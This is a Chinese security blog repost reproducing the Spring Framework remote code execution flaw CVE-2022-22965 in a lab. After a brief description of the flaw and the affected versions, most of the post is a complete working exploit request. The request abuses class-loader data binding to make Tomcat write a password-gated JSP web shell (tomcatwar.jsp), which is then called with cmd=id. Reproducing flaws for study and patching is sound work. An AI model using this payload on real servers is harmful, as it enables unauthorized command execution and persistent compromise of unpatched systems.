Spring Framework远程代码执行漏洞复现(CVE-2022-22965)

admin 2025年1月11日14:47:44评论73 views字数 2514阅读8分22秒阅读模式

漏洞说明

Spring Framework 是一个开源应用框架,旨在降低应用程序开发的复杂度。它是轻量级、松散耦合的。它具有分层体系结构,允许用户选择组件,同时还为 J2EE 应用程序开发提供了一个有凝聚力的框架。

在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击,该漏洞由于JDK 9 + 中新添加的函数绕过了Spring CachedIntrospectionResults 对 ClassLoader获取的限制,导致可以获取到任意ClassLoader,攻击者可以通过发送精心构造的数据请求来注入恶意属性触发漏洞,导致远程代码执行的漏洞风险。

漏洞影响范围

Spring Framework 5.3.X < 5.3.18Spring Framework 5.2.X < 5.2.20- JDK 9 及以上版本- Apache Tomcat 作为 Servlet 容器- Spring 框架以及衍生的框架

漏洞复现

使vulfocushttp://vulfocus.fofa.so/

vulfocus/spring-core-rce-2022-03-29

Spring Framework远程代码执行漏洞复现(CVE-2022-22965)

漏洞pocGET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=suffix: %>//c1: Runtimec2: <%DNT: 1
完整的POC请求GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1Host: xx.xx.xx.xx:49248Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9suffix: %>//c1: Runtimec2: <%DNT: 1Connection: close

Spring Framework远程代码执行漏洞复现(CVE-2022-22965)

请求成功后直接访问地址http://xxx.xxx.xxx.xxx:8080/tomcatwar.jsp?pwd=j&cmd=id

Spring Framework远程代码执行漏洞复现(CVE-2022-22965)

Spring Framework远程代码执行漏洞复现(CVE-2022-22965)

原文始发于微信公众号(渗透笔记):Spring Framework远程代码执行漏洞复现(CVE-2022-22965)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月11日14:47:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring Framework远程代码执行漏洞复现(CVE-2022-22965)https://cn-sec.com/archives/2497098.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息